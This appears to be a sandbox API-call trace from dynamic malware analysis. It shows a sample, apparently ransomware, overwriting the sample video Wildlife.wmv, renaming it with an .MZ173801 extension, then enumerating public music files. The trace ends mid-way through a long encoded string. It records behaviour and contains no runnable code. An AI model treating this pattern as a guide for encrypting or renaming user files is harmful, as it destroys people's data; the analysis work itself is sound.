[0131.325] VirtualFree (lpAddress=0x7bcf0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0131.353] VirtualQuery (in: lpAddress=0x7b870000, lpBuffer=0x18f60c, dwLength=0x1c | out: lpBuffer=0x18f60c*(BaseAddress=0x7b870000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x510000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c [0131.353] VirtualAlloc (lpAddress=0x7b870000, dwSize=0x1a0000, flAllocationType=0x2000, flProtect=0x4) returned 0x7b870000 [0131.354] VirtualAlloc (lpAddress=0x7b870000, dwSize=0x1a0000, flAllocationType=0x1000, flProtect=0x4) returned 0x7b870000 [0131.385] VirtualQuery (in: lpAddress=0x7ba10000, lpBuffer=0x18f60c, dwLength=0x1c | out: lpBuffer=0x18f60c*(BaseAddress=0x7ba10000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x370000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c [0131.385] VirtualAlloc (lpAddress=0x7ba10000, dwSize=0x200000, flAllocationType=0x2000, flProtect=0x4) returned 0x7ba10000 [0131.386] VirtualAlloc (lpAddress=0x7ba10000, dwSize=0x200000, flAllocationType=0x1000, flProtect=0x4) returned 0x7ba10000 [0131.424] VirtualQuery (in: lpAddress=0x7bc10000, lpBuffer=0x18f60c, dwLength=0x1c | out: lpBuffer=0x18f60c*(BaseAddress=0x7bc10000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x170000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c [0131.425] VirtualAlloc (lpAddress=0x7bc10000, dwSize=0x170000, flAllocationType=0x2000, flProtect=0x4) returned 0x7bc10000 [0131.425] VirtualAlloc (lpAddress=0x7bc10000, dwSize=0x170000, flAllocationType=0x1000, flProtect=0x4) returned 0x7bc10000 [0131.453] VirtualQuery (in: lpAddress=0x7bd80000, lpBuffer=0x18f60c, dwLength=0x1c | out: lpBuffer=0x18f60c*(BaseAddress=0x7bd80000, AllocationBase=0x7bd80000, AllocationProtect=0x4, RegionSize=0x1910000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0131.453] VirtualAlloc (lpAddress=0x0, dwSize=0xe50000, flAllocationType=0x101000, flProtect=0x4) returned 0x7a3c0000 [0131.600] VirtualQuery (in: lpAddress=0x7b210000, lpBuffer=0x18f5d8, dwLength=0x1c | out: lpBuffer=0x18f5d8*(BaseAddress=0x7b210000, AllocationBase=0x7b210000, AllocationProtect=0x4, RegionSize=0x660000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0131.601] VirtualFree (lpAddress=0x7b210000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0131.651] VirtualQuery (in: lpAddress=0x7b870000, lpBuffer=0x18f5d8, dwLength=0x1c | out: lpBuffer=0x18f5d8*(BaseAddress=0x7b870000, AllocationBase=0x7b870000, AllocationProtect=0x4, RegionSize=0x1a0000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0131.651] VirtualFree (lpAddress=0x7b870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0131.662] VirtualQuery (in: lpAddress=0x7ba10000, lpBuffer=0x18f5d8, dwLength=0x1c | out: lpBuffer=0x18f5d8*(BaseAddress=0x7ba10000, AllocationBase=0x7ba10000, AllocationProtect=0x4, RegionSize=0x200000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0131.662] VirtualFree (lpAddress=0x7ba10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0131.675] VirtualQuery (in: lpAddress=0x7bc10000, lpBuffer=0x18f5d8, dwLength=0x1c | out: lpBuffer=0x18f5d8*(BaseAddress=0x7bc10000, AllocationBase=0x7bc10000, AllocationProtect=0x4, RegionSize=0x170000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0131.675] VirtualFree (lpAddress=0x7bc10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0131.741] VirtualQuery (in: lpAddress=0x7b210000, lpBuffer=0x18f60c, dwLength=0x1c | out: lpBuffer=0x18f60c*(BaseAddress=0x7b210000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0xb70000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c [0131.741] VirtualAlloc (lpAddress=0x7b210000, dwSize=0x3a0000, flAllocationType=0x2000, flProtect=0x4) returned 0x7b210000 [0131.742] VirtualAlloc (lpAddress=0x7b210000, dwSize=0x3a0000, flAllocationType=0x1000, flProtect=0x4) returned 0x7b210000 [0131.832] VirtualQuery (in: lpAddress=0x7b5b0000, lpBuffer=0x18f60c, dwLength=0x1c | out: lpBuffer=0x18f60c*(BaseAddress=0x7b5b0000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x7d0000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c [0131.832] VirtualAlloc (lpAddress=0x7b5b0000, dwSize=0x480000, flAllocationType=0x2000, flProtect=0x4) returned 0x7b5b0000 [0131.832] VirtualAlloc (lpAddress=0x7b5b0000, dwSize=0x480000, flAllocationType=0x1000, flProtect=0x4) returned 0x7b5b0000 [0131.921] VirtualQuery (in: lpAddress=0x7ba30000, lpBuffer=0x18f60c, dwLength=0x1c | out: lpBuffer=0x18f60c*(BaseAddress=0x7ba30000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x350000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c [0131.921] VirtualAlloc (lpAddress=0x7ba30000, dwSize=0x350000, flAllocationType=0x2000, flProtect=0x4) returned 0x7ba30000 [0131.922] VirtualAlloc (lpAddress=0x7ba30000, dwSize=0x350000, flAllocationType=0x1000, flProtect=0x4) returned 0x7ba30000 [0132.523] CreateFileW (lpFileName="C:\\Users\\Public\\Videos\\Sample Videos\\Wildlife.wmv" (normalized: "c:\\users\\public\\videos\\sample videos\\wildlife.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x29c [0132.528] WriteFile (in: hFile=0x29c, lpBuffer=0x7bd80010*, nNumberOfBytesToWrite=0x1907b8a, lpNumberOfBytesWritten=0x18f6d0, lpOverlapped=0x0 | out: lpBuffer=0x7bd80010*, lpNumberOfBytesWritten=0x18f6d0*=0x1907b8a, lpOverlapped=0x0) returned 1 [0133.473] CloseHandle (hObject=0x29c) returned 1 [0133.473] MoveFileW (lpExistingFileName="C:\\Users\\Public\\Videos\\Sample Videos\\Wildlife.wmv" (normalized: "c:\\users\\public\\videos\\sample videos\\wildlife.wmv"), lpNewFileName="C:\\Users\\Public\\Videos\\Sample Videos\\Wildlife.wmv.MZ173801" (normalized: "c:\\users\\public\\videos\\sample videos\\wildlife.wmv.mz173801")) returned 1 [0133.474] VirtualFree (lpAddress=0x7d690000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0133.623] VirtualFree (lpAddress=0x7bd80000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0133.780] VirtualQuery (in: lpAddress=0x7a3c0000, lpBuffer=0x18f6c8, dwLength=0x1c | out: lpBuffer=0x18f6c8*(BaseAddress=0x7a3c0000, AllocationBase=0x7a3c0000, AllocationProtect=0x4, RegionSize=0xe50000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0133.780] VirtualFree (lpAddress=0x7a3c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0133.865] VirtualQuery (in: lpAddress=0x7b210000, lpBuffer=0x18f6c8, dwLength=0x1c | out: lpBuffer=0x18f6c8*(BaseAddress=0x7b210000, AllocationBase=0x7b210000, AllocationProtect=0x4, RegionSize=0x3a0000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0133.866] VirtualFree (lpAddress=0x7b210000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0133.888] VirtualQuery (in: lpAddress=0x7b5b0000, lpBuffer=0x18f6c8, dwLength=0x1c | out: lpBuffer=0x18f6c8*(BaseAddress=0x7b5b0000, AllocationBase=0x7b5b0000, AllocationProtect=0x4, RegionSize=0x480000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0133.888] VirtualFree (lpAddress=0x7b5b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0133.915] VirtualQuery (in: lpAddress=0x7ba30000, lpBuffer=0x18f6c8, dwLength=0x1c | out: lpBuffer=0x18f6c8*(BaseAddress=0x7ba30000, AllocationBase=0x7ba30000, AllocationProtect=0x4, RegionSize=0x350000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0133.915] VirtualFree (lpAddress=0x7ba30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0133.952] GetCurrentThreadId () returned 0x9fc [0133.953] GetCurrentThreadId () returned 0x9fc [0133.953] GetCurrentThreadId () returned 0x9fc [0133.953] GetCurrentThreadId () returned 0x9fc [0133.953] GetCurrentThreadId () returned 0x9fc [0133.953] GetCurrentThreadId () returned 0x9fc [0133.953] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80282235, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bda0516, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7be12937, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x1907b8a, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="Wildlife.wmv", cAlternateFileName="")) returned 0 [0133.953] GetLastError () returned 0x12 [0133.953] FindClose (in: hFindFile=0x2fc6c0 | out: hFindFile=0x2fc6c0) returned 1 [0133.953] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Videos\\Sample Videos\\*.*", lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa06634a0, ftLastAccessTime.dwHighDateTime=0x1d60051, ftLastWriteTime.dwLowDateTime=0xa06634a0, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName=".", cAlternateFileName="")) returned 0x2fc6c0 [0133.953] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f774 | out: lpLocalFileTime=0x18f774) returned 1 [0133.953] FileTimeToDosDateTime (in: lpFileTime=0x18f774, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0133.953] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa06634a0, ftLastAccessTime.dwHighDateTime=0x1d60051, ftLastWriteTime.dwLowDateTime=0xa06634a0, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="..", cAlternateFileName="")) returned 1 [0133.953] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f770 | out: lpLocalFileTime=0x18f770) returned 1 [0133.953] FileTimeToDosDateTime (in: lpFileTime=0x18f770, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0133.953] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x802f4656, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be12937, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x146, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0133.953] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80282235, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bda0516, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0xa06634a0, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x1907b8a, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="Wildlife.wmv.MZ173801", cAlternateFileName="")) returned 1 [0133.953] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f770 | out: lpLocalFileTime=0x18f770) returned 1 [0133.953] FileTimeToDosDateTime (in: lpFileTime=0x18f770, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0133.953] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80282235, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bda0516, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0xa06634a0, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x1907b8a, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="Wildlife.wmv.MZ173801", cAlternateFileName="")) returned 0 [0133.954] GetLastError () returned 0x12 [0133.954] FindClose (in: hFindFile=0x2fc6c0 | out: hFindFile=0x2fc6c0) returned 1 [0133.954] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x802f4656, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa32b602a, dwReserved1=0xa03bf443, cFileName="Sample Videos", cAlternateFileName="SAMPLE~1")) returned 0 [0133.954] GetLastError () returned 0x12 [0133.954] FindClose (in: hFindFile=0x2fc680 | out: hFindFile=0x2fc680) returned 1 [0133.954] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x18fb28, csidl=53, fCreate=0 | out: pszPath="C:\\Users\\Public\\Music") returned 1 [0133.956] GetFileAttributesW (lpFileName="C:\\Users\\Public\\Music" (normalized: "c:\\users\\public\\music")) returned 0x11 [0133.956] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x18fb28, csidl=53, fCreate=0 | out: pszPath="C:\\Users\\Public\\Music") returned 1 [0133.956] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Music\\*.*", lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28305c4e, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288ad099, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xff44aade, dwReserved1=0xa03bf443, cFileName=".", cAlternateFileName="")) returned 0x2fc680 [0133.957] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28305c4e, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288ad099, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xff44aade, dwReserved1=0xa03bf443, cFileName="..", cAlternateFileName="")) returned 1 [0133.957] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28305c4e, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x28305c4e, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288ad099, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x17c, dwReserved0=0xff44aade, dwReserved1=0xa03bf443, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0133.957] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa40 | out: lpLocalFileTime=0x18fa40) returned 1 [0133.957] FileTimeToDosDateTime (in: lpFileTime=0x18fa40, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0133.957] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8031a7b6, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x28a4ffbc, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xff44aade, dwReserved1=0xa03bf443, cFileName="Sample Music", cAlternateFileName="SAMPLE~1")) returned 1 [0133.957] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8031a7b6, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x28a4ffbc, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xff44aade, dwReserved1=0xa03bf443, cFileName="Sample Music", cAlternateFileName="SAMPLE~1")) returned 0 [0133.957] GetLastError () returned 0x12 [0133.957] FindClose (in: hFindFile=0x2fc680 | out: hFindFile=0x2fc680) returned 1 [0133.957] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Music\\*.*", lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28305c4e, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288ad099, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xff44aade, dwReserved1=0xa03bf443, cFileName=".", cAlternateFileName="")) returned 0x2fc680 [0133.957] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa40 | out: lpLocalFileTime=0x18fa40) returned 1 [0133.957] FileTimeToDosDateTime (in: lpFileTime=0x18fa40, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0133.957] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28305c4e, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288ad099, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xff44aade, dwReserved1=0xa03bf443, cFileName="..", cAlternateFileName="")) returned 1 [0133.957] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0133.957] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0133.957] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28305c4e, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x28305c4e, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288ad099, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x17c, dwReserved0=0xff44aade, dwReserved1=0xa03bf443, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0133.957] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8031a7b6, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x28a4ffbc, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xff44aade, dwReserved1=0xa03bf443, cFileName="Sample Music", cAlternateFileName="SAMPLE~1")) returned 1 [0133.957] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0133.957] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0133.957] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Music\\Sample Music\\*.*", lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8031a7b6, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x28a4ffbc, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName=".", cAlternateFileName="")) returned 0x2fc6c0 [0134.018] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8031a7b6, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x28a4ffbc, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="..", cAlternateFileName="")) returned 1 [0134.019] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be84d57, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x28a4ffbc, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x24a, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0134.019] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f774 | out: lpLocalFileTime=0x18f774) returned 1 [0134.019] FileTimeToDosDateTime (in: lpFileTime=0x18f774, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0134.019] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be5ebf7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7be84d57, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x8064f1, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="Kalimba.mp3", cAlternateFileName="")) returned 1 [0134.019] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f770 | out: lpLocalFileTime=0x18f770) returned 1 [0134.019] FileTimeToDosDateTime (in: lpFileTime=0x18f770, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0134.019] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Music\\Sample Music\\Kalimba.mp3" (normalized: "c:\\users\\public\\music\\sample music\\kalimba.mp3"), fInfoLevelId=0x0, lpFileInformation=0x18f704 | out: lpFileInformation=0x18f704*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be5ebf7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7be84d57, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x8064f1)) returned 1 [0134.021] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBM